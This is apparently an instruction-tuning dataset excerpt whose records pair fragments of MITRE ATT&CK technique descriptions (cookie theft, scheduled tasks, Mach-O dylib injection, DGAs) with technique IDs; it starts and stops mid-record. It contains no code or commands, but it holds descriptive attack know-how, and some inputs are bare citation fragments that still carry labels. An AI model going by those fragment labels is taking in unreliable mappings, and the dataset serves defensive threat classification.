Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation:", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges.", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component).", "output": "T1543.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). ### Response: T1543.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When operating systems boot up, they can start processes that perform background system functions.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When operating systems boot up, they can start processes that perform background system functions. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows and Linux, these system processes are referred to as services.(Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons) ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges.", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.  \n\nServices, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection)", "output": "T1543", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges.(Citation: OSX Malware Detection) ### Response: T1543."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network.", "output": "T1133", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage external-facing remote services to initially access and/or persist within a network. ### Response: T1133."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations.", "output": "T1133", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. ### Response: T1133."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are often remote service gateways that manage connections and credential authentication for these services.", "output": "T1133", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are often remote service gateways that manage connections and credential authentication for these services. ### Response: T1133."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging)", "output": "T1133", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) ### Response: T1133."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Access to remote services may be used as a redundant or persistent access mechanism during an operation.", "output": "T1133", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Access to remote services may be used as a redundant or persistent access mechanism during an operation. ### Response: T1133."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Access may also be gained through an exposed service that doesn\u2019t require authentication.", "output": "T1133", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Access may also be gained through an exposed service that doesn\u2019t require authentication. ### Response: T1133."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation:", "output": "T1133", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: ### Response: T1133."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit 42 Hildegard Malware)", "output": "T1133", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit 42 Hildegard Malware) ### Response: T1133."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS.", "output": "T1109", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. ### Response: T1109."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking.", "output": "T1109", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. ### Response: T1109."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", "output": "T1109", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks. ### Response: T1109."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware Persistence on OS X)(Citation: amnesia malware)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware Persistence on OS X)(Citation: amnesia malware) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries.", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded.", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time.", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX)", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are tools available to perform these changes.", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are tools available to perform these changes. ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed.", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)", "output": "T1546.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X) ### Response: T1546.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials.", "output": "T1539", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. ### Response: T1539."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.", "output": "T1539", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. ### Response: T1539."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cookies are often valid for an extended period of time, even if the web application is not actively used.", "output": "T1539", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cookies are often valid for an extended period of time, even if the web application is not actively used. ### Response: T1539."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems.", "output": "T1539", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. ### Response: T1539."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services).", "output": "T1539", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). ### Response: T1539."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation:", "output": "T1539", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: ### Response: T1539."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass The Cookie)", "output": "T1539", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass The Cookie) ### Response: T1539."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation:", "output": "T1539", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: ### Response: T1539."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit 42 Mac Crypto Cookies January 2019)", "output": "T1539", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit 42 Mac Crypto Cookies January 2019) ### Response: T1539."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.", "output": "T1539", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application. ### Response: T1539."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation:", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet Task Scheduler Security)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet Task Scheduler Security) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence.", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges).", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", "output": "T1053", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent) ### Response: T1053."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code.", "output": "T1053.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. ### Response: T1053.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system.", "output": "T1053.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. ### Response: T1053.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.", "output": "T1053.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster. ### Response: T1053.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob)", "output": "T1053.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) ### Response: T1053.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)", "output": "T1053.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes) ### Response: T1053.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations.", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications.", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control. ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008).", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation:", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "FireEye POSHSPY April 2017)(Citation:", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye POSHSPY April 2017)(Citation: ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET Sednit 2017 Activity)", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET Sednit 2017 Activity) ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains.", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. ### Response: T1568.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter.", "output": "T1568.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco 